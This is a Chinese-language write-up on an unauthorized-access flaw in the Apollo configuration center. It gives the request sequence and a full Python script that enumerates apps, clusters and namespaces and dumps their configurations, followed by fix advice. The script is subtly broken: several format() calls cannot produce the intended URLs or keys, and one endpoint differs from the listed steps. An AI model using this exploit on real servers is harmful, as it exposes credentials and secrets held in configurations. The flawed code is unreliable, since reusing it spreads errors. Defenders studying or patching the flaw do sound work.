Apollo 配置中心未授权获取配置漏洞利用
字数 1038 2025-08-10 08:29:06
Apollo 配置中心未授权获取配置漏洞分析与利用
漏洞概述
Apollo(阿波罗)是携程框架部门研发的分布式配置中心,用于集中化管理应用不同环境、不同集群的配置。该漏洞允许攻击者通过伪造客户端身份,无需授权即可获取系统配置信息。
漏洞背景
从 Apollo 的 issues-2099 可以看出,系统存在未授权访问风险。攻击者无需通过需要鉴权的 apollo-dashboard,只需伪造成客户端即可获取敏感配置信息。
受影响版本
- 1.6.0 之前的所有版本(默认不开启访问密钥机制)
- 1.7.1 之前的所有版本(默认不开启 apollo-adminservice 访问控制)
默认服务端口
| 端口号 | 服务类型 |
|---|---|
| 8070 | apollo-dashboard |
| 8080 | apollo-configservice |
| 8090 | apollo-adminservice |
漏洞原理
Apollo 系统默认情况下:
- apollo-configservice 和 apollo-adminservice 服务未启用访问控制
- 客户端身份验证机制默认关闭
- 攻击者可以构造特定请求直接获取配置信息
官方解决方案
-
1.6.0 版本:增加访问密钥机制,只有经过身份验证的客户端才能访问敏感配置
- 需要手动开启此功能
- 客户端需要配置相应密钥
-
1.7.1 版本:可以为 apollo-adminservice 开启访问控制
- 配置示例:
admin-service.access.control.enabled=true admin-service.access.tokens=098f6bcd4621d373xade4e832627b4f6
- 配置示例:
漏洞利用步骤
1. 获取所有应用基本信息(包含 appId)
GET http://target:8090/apps
2. 获取指定 appId 的所有 cluster
GET http://target:8090/apps/<appId>/clusters
3. 获取指定 appId 的所有 namespaces
GET http://target:8090/apps/<appId>/appnamespaces
4. 组合 appId、cluster 和 namespaceName 获取配置
GET http://target:8080/configs/<appId>/<cluster>/<namespaceName>
Python 自动化利用脚本
#!/usr/bin/env python3
# coding: utf-8
# Build By LandGrey
import json
import time
import requests
from urllib.parse import urlparse
def get_response(uri):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20200101 Firefox/60.0",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
return requests.get(uri, headers=headers, timeout=20, allow_redirects=False)
def get_app_ids(uri):
app_ids = []
response = get_response("{}/apps".format(uri))
html = response.text
if response.status_code == 200:
for app in json.loads(html):
app_ids.append(app.get("appId"))
return app_ids
def get_clusters(uri, app_ids):
clusters = {}
for app_id in app_ids:
clusters[app_id] = []
response = get_response("{}/apps/{}/clusters".format(uri, app_id))
html = response.text
if response.status_code == 200:
for app in json.loads(html):
clusters[app_id].append(app.get("name"))
return clusters
def get_namespaces(uri, app_ids, clusters):
namespaces = {}
for app_id in app_ids:
namespaces[app_id] = []
for cluster in clusters[app_id]:
url = "{}/apps/{}/clusters/{}/namespaces".format(uri, app_id, cluster)
response = get_response(url)
html = response.text
if response.status_code == 200:
for app in json.loads(html):
namespaces[app_id].append(app.get("namespaceName"))
return namespaces
def get_configurations(uri, app_ids, clusters, namespaces):
configurations = []
for app_id in app_ids:
for cluster in clusters[app_id]:
for namespace in namespaces[app_id]:
key_name = format(app_id, cluster, namespace)
url = "{}/configs/{}/{}/{}".format(uri, app_id, cluster, namespace)
response = get_response(url)
code = response.status_code
html = response.text
print("[+] get {} configs, status: {}".format(url, code))
time.sleep(1)
if code == 200:
configurations.append({key_name: json.loads(html)})
return configurations
if __name__ == "__main__":
apollo_adminservice = "http://test.landgrey.me:8090"
apollo_configservice = "http://test.landgrey.me:8080"
scheme0, netloc0, path0, params0, query0, fragment0 = urlparse(apollo_adminservice)
host0 = format(scheme0, netloc0)
_ids = get_app_ids(host0)
print("All appIds:")
print(_ids)
_clusters = get_clusters(host0, _ids)
print("\nAll Clusters:")
print(_clusters)
_namespaces = get_namespaces(host0, _ids, _clusters)
print("\nAll Namespaces:")
print(_namespaces)
print()
scheme1, netloc1, path1, params1, query1, fragment1 = urlparse(apollo_configservice)
host1 = format(scheme1, netloc1)
_configurations = get_configurations(host1, _ids, _clusters, _namespaces)
print("\nresults:\n")
print(_configurations)
修复建议
-
升级到最新版本(1.6.0 或更高版本)
-
启用访问密钥机制:
- 在配置中心设置访问密钥
- 所有客户端配置相应密钥
-
为 apollo-adminservice 开启访问控制:
admin-service.access.control.enabled=true admin-service.access.tokens=<your-secure-token> -
限制网络访问:
- 仅允许可信IP访问管理端口
- 配置防火墙规则限制访问
-
定期审计配置信息,检查是否有敏感信息泄露
总结
Apollo 配置中心默认配置存在未授权访问风险,攻击者可以通过构造特定请求获取系统配置信息。建议管理员及时升级并启用安全配置,避免敏感信息泄露。